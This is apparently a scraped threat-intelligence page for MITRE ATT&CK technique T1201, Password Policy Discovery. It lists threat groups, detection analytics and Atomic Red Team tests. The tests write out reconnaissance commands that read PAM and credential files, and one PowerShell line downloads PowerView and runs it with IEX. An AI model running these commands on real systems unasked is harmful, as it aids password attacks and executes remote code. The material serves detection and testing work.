tfMITRE ATT&CK technique

Password Policy Discovery T1201

Tactic: Discovery
Platforms: Windows, Linux, macOS, IaaS, Network Devices, Identity Provider, SaaS, Office Suite
Version: 1.7
Created: 18 April 2018
Last modified: 24 October 2025
Contributors: Regina Elwell; Sudhanshu Chauhan, @Sudhanshu_C; Isif Ibrahima, Mandiant; Austin Clark, @c2defense

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups64th pct

Threat groups64th percentile · 64% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware62nd pct

Tools & malware62nd percentile · 62% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 16%

Detection rules84th percentile · 84% of ATT&CK techniques have this many detection rules written or fewer.

Password Policy Discovery MITRE reference T1201

64th pctamong all ATT&CK techniques for number of groups

3 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

ChimeraG0114 ↗

Has used the NtdsAudit utility to collect information related to accounts and passwords.1

created 2020-08-241 reference

OilRigG0049 ↗

Has used net.exe in a script with net accounts /domain to find the password policy of a domain.1

created 2017-12-141 referenceaka COBALT GYPSY

TurlaG0010 ↗

Has used net accounts and net accounts /domain to acquire password policy information.1

created 2017-05-311 referenceaka IRON HUNTER

All 3 groups for this technique

1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

Operation CuckooBeesC0012 ↗

During Operation CuckooBees, the threat actors used the net accounts command as part of their advanced reconnaissance.1

2019–2022

All 1 campaigns for this technique

4 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

CrackMapExecS0488 ↗

Can discover the password policies applied to the target system.1

created 2020-07-17TOOLcarried by 5 groups

PoshC2S0378 ↗

Can use Get-PassPol to enumerate the domain password policy.1

created 2019-04-23TOOLcarried by 3 groups

KwampirsS0236 ↗

Collects password policy information with the command net accounts.1

created 2018-10-17MALWAREcarried by 1 group

NetS0039 ↗

The net accounts and net accounts /domain commands with Net can be used to obtain password policy information.1

created 2017-05-31TOOLcarried by 33 groups

All 4 software entries for this technique

Offense vs defense T1201

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 6Splunk ESCU (cumulative) · 9

first rule: 2019 Q1 · 1 of 1 campaigns plotted

Password Policy Discovery detection strategy DET0161

MITRE names one behaviour worth catching for this technique and breaks it into 7 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Password Policy Discovery – cross-platform behavior-chain analytics

Enterprise

7 platforms

AN0455 · Windows

Cause→effect chain: (1) a user or service spawns a shell/PowerShell that queries local/domain password policy via commands/cmdlets (e.g., net accounts, Get-ADDefaultDomainPasswordPolicy, secedit /export); (2) optional directory/LDAP reads from DCs; (3) same principal performs adjacent Discovery or credential-related actions within a short window. Correlate sysmon process creation with PowerShell ScriptBlock and Security logs.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Command ExecutionDC0064	WinEventLog:PowerShell	EventCode=4103, 4104, 4105, 4106
Active Directory Object AccessDC0071	WinEventLog:Security	EventCode=4662

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Correlation window between policy query and adjacent suspicious activity (e.g., 15–30 minutes).
PrivilegedUserAllowList	Accounts (e.g., Helpdesk) allowed to run policy queries routinely.
HostRoleScope	Limit alerts on DCs/management servers; raise on user workstations/VDI.
PS_ScriptBlockPatterns	Cmdlet/function names to treat as high-signal in your environment.

AN0456 · Linux

Chain: (1) interactive/non-interactive chage -l, grep/cat of PAM config (e.g., /etc/pam.d/common-password, /etc/security/pwquality.conf); (2) optional reads of /etc/login.defs; (3) same user performs account enumeration or password change attempts shortly after. Use auditd execve and file read events plus shell history collection.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account MetadataDC0013	auditd:SYSCALL	open,openat,read
Process CreationDC0032	auditd:SYSCALL	execve
Command ExecutionDC0064	linux:syslog	sudo chage\|grep pam_pwquality\|cat /etc/login.defs

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MonitoredPaths	Exact PAM/QoP config files used by your distro (Debian vs. RHEL paths differ).
ServiceAccountsExclude	System daemons that legitimately parse policies on boot.
TerminalType	TTY vs. non-interactive—raise risk for non-interactive remote execution.

AN0457 · macOS

Chain: (1) execution of pwpolicy or MDM/DirectoryService reads of account policies; (2) optional read of /Library/Preferences/com.apple.loginwindow or config profiles; (3) follow-on credential probing or lateral movement by same user/session. Use unified logs and process telemetry.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account MetadataDC0013	macos:MDM	profiles -P\|getaccountpolicies
Process CreationDC0032	macos:unifiedlog	exec /usr/bin/pwpolicy
Command ExecutionDC0064	macos:unifiedlog	pwpolicy\|PasswordPolicy

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MDMProfileIDs	Approved profiles reading/updating auth policies.
AdminConsoleHosts	Jamf or management hosts where queries are expected.

AN0458 · IaaS

Chain: (1) cloud API calls that fetch tenant/organization password policy (e.g., AWS GetAccountPasswordPolicy, GCP/OCI equivalents or IAM settings reads); (2) within a short window, the same principal creates users, rotates creds, or changes auth settings. Use cloud audit logs.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account MetadataDC0013	AWS:CloudTrail	GetAccountPasswordPolicy

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CloudReadOnlyApps	Approved security tooling principals that routinely read policy.
ApiClientIPAllowList	Corporate egress IPs for administrative API access.

AN0459 · Identity Provider

Chain: (1) IdP policy/read operations by a principal (e.g., Microsoft Entra/Graph requests to read password or authentication policies); (2) adjacent risky changes (role assignment, app consent) by same principal. Use IdP audit logs.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account MetadataDC0013	azure:audit	operation contains 'GetPasswordPolicy' OR 'ListAuthenticationPolicy' OR 'Get-ADDefaultDomainPasswordPolicy'

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TrustedPartnerAppIds	Legitimate partner apps that enumerate policies.
GeoRiskTolerance	Raise risk for unusual geo or TOR/VPN egress.

AN0460 · SaaS

Chain: (1) SaaS admin API or PowerShell remote session reads tenant password/authentication settings (e.g., M365 Unified Audit Log ‘Cmdlet’ with Get-MsolPasswordPolicy/Get-OrganizationConfig parameters that expose password settings); (2) same session proceeds to mailbox or tenant changes.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account MetadataDC0013	m365:unified	Workload=AzureActiveDirectory OR Exchange AND (Operation=Cmdlet AND Parameters contains 'Password' AND (CmdletName='Get-*' OR CmdletName='Get-OrganizationConfig'))

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
SaaSAdminGroup	Known admin groups or break-glass accounts.
SessionAnomalyThreshold	Rate/volume of read operations per session considered anomalous.

AN0461 · Network Devices

Chain: (1) privileged CLI sessions run read-only commands that dump AAA/password policies (e.g., show aaa, show password-policy); (2) same account changes AAA or user DB shortly after. Use network device AAA/command accounting or syslog.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	networkdevice:syslog	cmd='show aaa*' OR 'show running-config \| include password\|aaa' OR 'show aaa common-criteria policy all'

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ApprovedNOCSources	Jump hosts permitted to run show commands.
DeviceTier	Higher risk weight on edge/critical devices.

Password PoliciesM1027

Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\Windows\System32\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages.

Tests12Executorsbash 5 · cmd 3 · sh 2 · PowerShell 2Need elevation1 of 12Have prerequisites3Have cleanup0Platformslinux, windows, macos, iaas:aws

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup
01	Examine password complexity policy - Ubuntu	linux	bash	—	—	—
Lists the password complexity policy to console on Ubuntu Linux. Attack command cat /etc/pam.d/common-password GUIDb0d3d852-98b4-4e23-ada3-b5a47391cada
02	Examine password complexity policy - FreeBSD	linux	sh	—	—	—
Lists the password complexity policy to console on FreeBSD. Attack command cat /etc/pam.d/passwd GUIDa0af60f9-3ce2-42aa-9525-ec2e196349ca
03	Examine password complexity policy - CentOS/RHEL 7.x	linux	bash	—	1	—
Lists the password complexity policy to console on CentOS/RHEL 7.x Linux. Attack command cat /etc/security/pwquality.conf Prerequisite System must be CentOS or RHEL v7 Check if [ $(uname -a \| grep -ioP 'el[0-9]' \| grep -oP '[0-9]') -eq "7" ]; then exit 0; else exit 1; fi; Satisfy echo Please run from CentOS or RHEL v7 GUID2e5d1aae-c71f-4ac4-8c47-5b635acebcff
04	Examine password complexity policy - CentOS/RHEL 6.x	linux	bash	—	1	—
Lists the password complexity policy to console on CentOS/RHEL 6.x Linux. Attack command cat /etc/pam.d/system-auth cat /etc/security/pwquality.conf Prerequisite System must be CentOS or RHEL v6 Check if [ $(rpm -q --queryformat '%{VERSION}') -eq "6" ]; then exit /b 0; else exit /b 1; fi; Satisfy echo Please run from CentOS or RHEL v6 GUIDe4599746-1965-4c90-ab48-2cf54f25c1b4
05	Examine password expiration policy - All Linux	linux	bash	—	—	—
Lists the password expiration policy to console on CentOS/RHEL/Ubuntu. Attack command cat /etc/login.defs GUIDa43d636a-1e0f-49ea-a026-96f9172db300
06	Examine local password policy - Windows	windows	cmd	—	—	—
Lists the local password policy to console on Windows. Attack command net accounts GUIDfa2ad527-0f75-4a42-b326-8e243dddd83c
07	Examine domain password policy - Windows	windows	cmd	—	—	—
Lists the domain password policy to console on Windows. Attack command net accounts /domain GUID93d94440-9b28-43ab-a400-6f41ebdfcf0b
08	Examine password policy - macOS	macos	bash	—	—	—
Lists the password policy to console on macOS. Attack command pwpolicy getaccountpolicies GUID38fe61cc-1012-41c3-a670-2ae9d6789ebe
09	Get-DomainPolicy with PowerView	windows	PowerShell	—	—	—
Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose GUID4a21b4d4-b163-4da1-9fb7-c7424d16ebdb
10	Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy	windows	PowerShell	—	—	—
The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy. Upon successful execution a listing of the policy implemented will display. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps Attack command get-addefaultdomainpasswordpolicy GUIDa79e7153-660c-4c62-b1fa-60a6cfa93e57
11	Use of SecEdit.exe to export the local security policy (including the password policy)	windows	cmd	Required	—	—
SecEdit.exe can be used to export the current local security policy applied to a host. Reference Attack command secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt GUID5ff08971-8a5e-493e-95ef-2f66ee987d76
12	Examine AWS Password Policy	iaas:aws	sh	—	1	—
This atomic test will display details about the password policy for the current AWS account. Attack command aws iam get-account-password-policy Prerequisite Check if ~/.aws/credentials file has a default stanza is configured Check cat ~/.aws/credentials \| grep "default" Satisfy echo Please install the aws-cli and configure your AWS defult profile using: aws configure GUID5a69166c-a5ff-42e0-9ea2-4b3c70558dab

Tests from Atomic Red Team (MIT licence) · technique definition

Password Policy Discovery detections T1201

15 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 16%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs